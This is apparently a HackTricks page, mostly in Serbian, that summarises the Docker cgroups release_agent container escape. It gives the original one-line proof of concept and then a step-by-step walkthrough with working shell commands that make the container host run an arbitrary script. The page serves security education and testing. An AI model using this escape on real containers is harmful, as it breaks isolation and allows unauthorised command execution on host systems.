Docker release_agent cgroups escape

Support HackTricks

Za više detalja, pogledajte originalni blog post. Ovo je samo sažetak:

Original PoC:

d=`dirname $(ls -x /s*/fs/c*/*/r* |head -n1)`
mkdir -p $d/w;echo 1 >$d/w/notify_on_release
t=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
touch /o; echo $t/c >$d/release_agent;echo "#!/bin/sh
$1 >$t/o" >/c;chmod +x /c;sh -c "echo 0 >$d/w/cgroup.procs";sleep 1;cat /o

The proof of concept (PoC) demonstrates a method to exploit cgroups by creating a release_agent file and triggering its invocation to execute arbitrary commands on the container host. Here's a breakdown of the steps involved:

  1. Pripremite Okruženje:

  • Direktorijum /tmp/cgrp se kreira da služi kao tačka montiranja za cgroup.

  • RDMA cgroup kontroler se montira na ovaj direktorijum. U slučaju odsustva RDMA kontrolera, predlaže se korišćenje memory cgroup kontrolera kao alternative.

mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
  1. Postavite Dete Cgroup:

  • Dete cgroup pod imenom "x" se kreira unutar montirane cgroup direktorije.

  • Obaveštenja su omogućena za "x" cgroup pisanjem 1 u njegov notify_on_release fajl.

echo 1 > /tmp/cgrp/x/notify_on_release
  1. Konfigurišite Release Agent:

  • Putanja kontejnera na hostu se dobija iz /etc/mtab datoteke.

  • release_agent datoteka cgrupa se zatim konfiguriše da izvrši skriptu pod nazivom /cmd smeštenu na dobijenoj putanji hosta.

host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent
  1. Kreirajte i Konfigurišite /cmd Skriptu:

  • Skripta /cmd se kreira unutar kontejnera i konfiguriše se da izvršava ps aux, preusmeravajući izlaz u datoteku pod imenom /output u kontejneru. Puni put do /output na hostu je specificiran.

echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
  1. Pokreni Napad:

  • Proces se pokreće unutar "x" child cgroup i odmah se prekida.

  • Ovo pokreće release_agent (skriptu /cmd), koja izvršava ps aux na hostu i zapisuje izlaz u /output unutar kontejnera.

sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
Podržite HackTricks

Last updated